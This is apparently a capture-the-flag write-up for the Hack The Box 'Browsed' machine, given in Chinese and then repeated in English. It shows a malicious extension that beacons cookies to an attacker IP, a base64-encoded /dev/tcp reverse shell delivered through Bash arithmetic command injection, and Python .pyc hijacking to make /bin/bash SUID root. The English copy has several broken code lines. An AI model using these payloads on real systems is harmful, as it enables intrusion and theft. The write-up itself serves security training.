htb browsed
Information Gathering
# Nmap 7.98 scan initiated Wed Jan 21 17:44:40 2026 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.129.244.79
Nmap scan report for browsed.htb (10.129.244.79)
Host is up (0.082s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 1.564 days (since Tue Jan 20 04:13:26 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 21 17:44:54 2026 -- 1 IP address (1 host up) scanned in 13.56 seconds
Vulnerability Analysis
浏览器功能:可以上传一个插件,管理员会审核这些插件,并提供一些插件样本
下载其中一个插件得到
➜ Browsed 7z l fontify.zip
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-03-19 16:08:31 ..... 274 191 content.js
2025-03-23 11:23:58 ..... 450 239 manifest.json
2025-03-19 16:08:08 ..... 568 254 popup.html
2025-03-19 16:08:41 ..... 756 364 popup.js
2025-03-19 16:08:52 ..... 181 120 style.css
------------------- ----- ------------ ------------ ------------------------
2025-03-23 11:23:58 2229 1168 5 files
因为是服务器端的用户(有特权)检查,假设没有做任何隔离,即可以执行任意JavaScript
上传示例扩展zip后,复制输出可以得到:
http://browsedinternals.htb/ 内部子域名
Cannot stat “/var/www/.config/… 不是沙盒
WebSocket 调试地址: ws://127.0.0.1:40529/devtools/browser/be47938e-b306-45b4-8b1f-3e1c71320752
执行SSRF攻击
在content.js下添加:navigator.sendBeacon(‘http://10.10.16.41/flag’, document.cookie);
最终在输出中可以看到执行成功
➜ Browsed sudo nc -lvnp 80
[sudo] password for kali:
listening on [any] 80 ...
connect to [10.10.16.41] from (UNKNOWN) [10.129.244.79] 52800
POST /flag HTTP/1.1
Host: 10.10.16.41
Connection: keep-alive
Content-Length: 0
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://browsedinternals.htb
Accept-Encoding: gzip, deflate
枚举子域
Gitea Version: 1.24.5
可以很轻松的发现http://browsedinternals.htb/larry/MarkdownPreview的文件
README.md:
# markdownPreview
This webapp allows us to convert our md files to html. Still in developement, it should only run locally !!!
app.py
一个基于 Flask 的 Markdown Preview 应用程序正在本地主机端口 5000 上运行。它公开了一个端点 /routines/,该端点接受一个例程 ID。
routines.sh
**#!/bin/bash
ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"
log_action() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
find "$TMP_DIR" -type f -name "*.tmp" -delete
log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
elif [[ "$1" -eq 1 ]]; then
# Routine 1: Backup data
tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
log_action "Routine 1: Data backed up to $BACKUP_DIR."
echo "Backup completed."
elif [[ "$1" -eq 2 ]]; then
# Routine 2: Rotate logs
find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
log_action "Routine 2: Log files compressed."
echo "Logs rotated."
elif [[ "$1" -eq 3 ]]; then
# Routine 3: System info dump
uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
log_action "Routine 3: System info dumped."
echo "System info saved."
else
log_action "Unknown routine ID: $1"
echo "Routine ID not implemented."
fi**
在 Bash 中,在算术运算上下文中,可以使用数组下标语法 var[index]。关键在于,索引会被计算出来。如果我们使用命令替换 $(cmd) 作为索引,Bash 会在比较之前执行该命令。
如果我们发送payload:a[$id],会执行
- $id
- a[uid=……]
- 出现错误,但是代码执行
Exploitation (User Flag)
通过ssrf可以利用此漏洞
在content.js添加
const myPayloadB64 = "KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuNDEvNDQ0NCAwPiYxKSAm";
const TARGET = "http://127.0.0.1:5000/routines/";
const sp = "%20"; // URL 编码的空格,因为这是在 URL 里
// 核心利用点:a[$(你的命令)]
// 服务器在解析数组索引时,会执行 $() 里面的命令
const exploit = "a[$(echo" + sp + myPayloadB64 + "|base64" + sp + "-d|bash)]";
// 发送请求
console.log("Sending payload: " + exploit);
fetch(TARGET + exploit, { mode: "no-cors" });
即可获取user
Privilege Escalation (Root Flag)
larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
查看文件得到从本地文件导入了一个模块
from extension_utils import validate_manifest, clean_temp_files
larry@browsed:~$ ls -la /opt/extensiontool/
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__
Python 字节码劫持
Python 运行脚本时,为了提高加载速度,会将编译后的字节码 (.pyc 文件) 存放在 __pycache__ 目录中。
当 extension_tool.py 运行时,它会执行 from extension_utils import ...。
此时 Python 的加载逻辑如下:
- 检查
__pycache__里是否有对应的.pyc文件。 - 如果有,且其 Header 中的元数据(时间戳/Hash)与源代码
extension_utils.py匹配,Python 就会直接加载执行这个.pyc文件,而忽略源代码。 - 由于
extension_tool.py是以 Root (sudo) 身份运行的,它加载的.pyc代码也会以 Root 权限执行。
利用思路:我们可以在这个 777 目录下,用一个恶意的 .pyc 文件(里面包含提权代码)替换掉合法的 extension_utils.cpython-312.pyc。
# 生成payload
echo 'import os; os.system("chmod u+s /bin/bash")' > /tmp/pwn.py
# 编译
python3 -m compileall /tmp/pwn.py
运行源程序
larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py
[X] Use one of the following extensions : ['Fontify', 'Timer', 'ReplaceImages']
larry@browsed:~$ ls /opt/extensiontool/__pycache__/
extension_utils.cpython-312.pyc
得到合法header,并将前面的字节更换到我们生成的.pyc文件
# 提取头部
dd if=/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc of=/tmp/header.bin bs=1 count=16
# 提取身子
dd if=/tmp/__pycache__/pwn.cpython-312.pyc of=/tmp/body.bin bs=1 skip=16
# 拼接
cat /tmp/header.bin /tmp/body.bin > /tmp/evil.pyc
# 粘贴
cp /tmp/evil.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
# 运行
sudo /opt/extensiontool/extension_tool.py
larry@browsed:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
larry@browsed:/tmp$ /bin/bash -p
bash-5.2# cat /root/root.txt
b526db53340698024bdbf430d9dc46b2
Lessons Learned
A Nmap 7.98 scan was initiated on Wednesday, January 21, 2026, using the following command:
/usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.129.244.79
The scan report for the target browsed.htb (10.129.244.79) is as follows:
- The host is online, with a latency of 0.082 seconds.
- 998 closed TCP ports were not displayed (they were likely reset by the host).
Port Details:
22/tcpis open and runningOpenSSHversion 9.6p1 on Ubuntu 3ubuntu13.14.- SSH key details:
256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)and256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
- SSH key details:
80/tcpis open and runningnginxversion 1.24.0.- Supported HTTP methods:
GET,HEAD - HTTP header:
nginx/1.24.0 - Device type: General purpose
- Operating system: Linux 4.X|5.X
- OS CPE (Common Platform Enumeration):
cpe:/o:linux:linux_kernel:4,cpe:/o:linux:linux_kernel:5 - OS version range: Linux 4.15–5.19
- Uptime estimate: 1.564 days (since Tuesday, January 20, 2026)
- Network distance: 2 hops
- TCP sequence prediction difficulty: 257 (challenging)
- IP address sequence generation: All zeros
- Supported HTTP methods:
Service Information: The operating system is Linux, with the CPE (Common Platform Enumeration) being cpe:/o:linux:linux_kernel.
Nmap Output:
- Data files were read from
/usr/share/nmap. - Any incorrect results should be reported at: https://nmap.org/submit/.
The Nmap scan was completed on Wednesday, January 21, 2026, in 13.56 seconds, scanning 1 IP address (1 host).
Vulnerability Analysis
Browser functionality: Allows users to upload plugins, which are then reviewed by administrators and some sample plugins are provided.
One of the plugins was downloaded as follows:
➜ Browsed 7z l fontify.zip
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-03-19 16:08:31 ..... 274 191 content.js
2025-03-23 11:23:58 ..... 450 239 manifest.json
2025-03-19 16:08:08 ..... 568 254 popup.html
2025-03-19 16:08:41 ..... 756 364 popup.js
2025-03-19 16:08:52 ..... 181 120 style.css
------------------- ----- ------------ ------------ ------------------------
2025-03-23 11:23:58 2229 1168 5 files
Since the checks are performed by a privileged user on the server side, and no isolation measures are in place, the user can execute any JavaScript code.
After uploading the sample plugin and copying the output, the following URL can be accessed: http://browsedinternals.htb/ (an internal subdomain)
The following file cannot be accessed: /var/www/.config/ (indicating that it is not in a sandbox environment).
WebSocket debugging address: ws://127.0.0.1:40529/devtools/browser/be47938e-b306-45b4-8b1f-3e1c71320752
Performing an SSRF Attack
The following code was added to content.js:
navigator.sendBeacon('[http://10.10.16.41/flag](http://10.10.16.41/flag)', document.cookie);
This successfully executed the SSRF attack.
➜ Browsed sudo nc -lvnp 80
[sudo] password for kali:
listening on [any] 80 ...
connect to [10.10.16.41] from (UNKNOWN) [10.129.244.79] 52800
POST /flag HTTP/1.1
Host: 10.10.16.41
Connection: keep-alive
Content-Length: 0
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://browsedinternals.htb
Accept-Encoding: gzip, deflate
Enumerating Subdomains
Gitea Version: 1.24.5
It was easy to find the file http://browsedinternals.htb/larry/MarkdownPreview.
README.md:
app.py
A Flask-based Markdown preview application is running on local host port 5000. It exposes an endpoint at /routines/ that accepts a routine ID as a parameter.
routines.sh
**#!/bin/bash**
ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"
log_action() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temporary files
find "$TMP_DIR" -type f -name "*.tmp" -delete
log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
else if [[ "$1" -eq 1 ]]; then
# Routine 1: Backup data
tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
log_action "Routine 1: Data backed up to $BACKUP_DIR."
echo "Backup completed."
else if [[ "$1" -eq 2 ]]; then
# Routine 2: Rotate logs
find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
log_action "Routine 2: Log files compressed."
echo "Logs rotated."
else if [[ "$1" -eq 3 ]]; then
# Routine 3: System info dump
uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
log_action "Routine 3: System info dumped."
echo "System info saved."
else
log_action "Unknown routine ID: $1"
echo "Routine ID not implemented."
fi
In Bash, within arithmetic expressions, you can use the array indexing syntax var[index]. The key point is that the index is calculated before the expression is evaluated. If we use the command $(cmd) as an index, Bash will execute the command before making the comparison.
For example, if we use a[$id], the following sequence of operations occurs:
$idis evaluated first.- Then,
a[uid=...]is evaluated. - This can lead to errors, but the code will still execute as planned.
# **Exploitation (User Flag)**
This vulnerability can be exploited using SSRF (Server-Side Request Forgery). Add the following code to `content.js`:
```javascript
const myPayloadB64 = "KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuNDEvNDQ0NCAwPiYxKSAm";
const TARGET = "http://127.0.0.1:5000/routines/;
const sp = "%20"; // Spaces used for URL encoding
// The key to exploitation lies here: `$()`
// The server will execute the command inside `$()` when interpreting the array index.
const exploit = "a[$(echo " + sp + myPayloadB64 + "|base64" + sp + "-d|bash)]";
// Send the request
console.log("Sending payload: " + exploit);
fetch(TARGET + exploit, { mode: "no-cors });
By doing this, the user flag can be obtained.
Privilege Escalation (Root Flag)
larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
By examining the files, it is evident that a module has been imported from a local file:
larry@browsed:~$ ls -la /opt/extensiontool/
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__
Python Bytecode Hijacking
When Python scripts are executed, compiled bytecode (.pyc files) are stored in the __pycache__ directory to improve loading speed. When extension_tool.py runs, it imports functions from extension_utils. Python’s loading mechanism works as follows:
- It checks if a corresponding
.pycfile exists in__pycache__. - If it does, and if the metadata (timestamp/Hash) in the
.pycfile matches the source codeextension_utils.py, Python loads and executes the.pycfile directly, ignoring the source code. - Since
extension_tool.pyis executed withRootprivileges, the loaded.pyccode is also executed with Root privileges.
Exploitation strategy: We can replace the legitimate extension_utils.cpython-312.pyc file with a malicious .pyc file in the __pycache__ directory that contains code to escalate privileges. Here’s how to create the payload:
echo 'import os; os.system("chmod u+s /bin/bash")' > /tmp/pwn.py
python3 -m compileall /tmp/pwn.py
Then, run the original program:
larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py
[X] Use one of the following extensions : ['Fontify', 'Timer', 'ReplaceImages']
larry@browsed:~$ ls /opt/extensiontool/__pycache__
extension_utils.cpython-312.pyc
By replacing the original .pyc file with the malicious one, the malicious code will be executed with Root privileges.
Extracting the header
dd if=/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc of=/tmp/header.bin bs=1 count=16
Extracting the body
dd if=/tmp/__pycache__/pwn.cpython-312.pyc of=/tmp/body.bin bs=1 skip=16
Concatenating the files
cat /tmp header.bin /tmp/body.bin > /tmp/evil.pyc
Copying the modified file back to its original location
cp /tmp/evil.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
Running the modified program
sudo /opt/extensiontool/extension_tool.py
larry@browsed:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
larry@browsed:/tmp$ /bin/bash -p
bash-5.2
# Viewing the contents of the file /root/root.txt
cat /root/root.txt
b526db53340698024bdbf430d9dc46b2